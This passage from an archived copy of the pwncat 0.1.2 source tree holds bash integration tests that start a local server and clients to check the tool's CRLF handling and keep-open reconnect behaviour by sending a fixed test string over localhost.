"${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/702---tcp---server_crlf_no---client_sends_crlf.sh000077500000000000000000000150161414025024700322230ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" > "${data}" expect="abcdefghijklmnopqrstuvwxyz1234567890" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/4) Transfer: Client -> Server" # [CLIENT -> SERVER] wait_for_data_transferred "" "${expect}" "" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # TEST: Errors # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Errors" # [SERVER] Ensure Server has has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" kill_pid "${cli_pid}" kill -9 "${srv_pid}" >/dev/null 2>/dev/null || true } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do echo # server opts client opts run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/21-options---crlf/README.md000066400000000000000000000001341414025024700227400ustar00rootroot00000000000000# Server `-C`/`--crlf` These tests ensure that the `-C`/`--crlf` option works as expected. pwncat-0.1.2/tests/integration/22-options---keep_open/000077500000000000000000000000001414025024700225035ustar00rootroot00000000000000000---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_nosend-cli_send.sh000077500000000000000000000322261414025024700432600ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/22-options---keep_open#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" cli3_stderr="$(tmp_file)" ### ### ### Initial Server Start ### ### # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/12) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ### ### ### ROUND-1 (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/12) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/12) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(4/12) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" ### ### ### ROUND-2 (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(5/12) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(6/12) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: NO SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(7/12) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" ### ### ### ROUND-3 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(8/12) Start: Client (round 3)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(9/12) Transfer: Client -> Server (round 3)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(10/12) Stop: Client (round 3)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(11/12) Test: Server stays alive (round 3)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" ### ### ### Final Server Shutdown ### ### # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(12/12) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done 001---tcp---server_reacc---three_clients---server_default---cli_nosend-cli_send-cli_send.sh000077500000000000000000000331471414025024700427270ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/22-options---keep_open#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" cli3_stderr="$(tmp_file)" ### ### ### Initial Server Start ### ### # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/13) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ### ### ### ROUND-1 (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/13) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/13) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(4/13) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" ### ### ### ROUND-2 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(5/13) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(6/13) Transfer: Client -> Server (round 2)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(7/13) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(8/13) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" ### ### ### ROUND-3 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(9/13) Start: Client (round 3)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(10/13) Transfer: Client -> Server (round 3)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}${data}" "${data_or}${data_or}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(11/13) Stop: Client (round 3)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli3_stdout}" 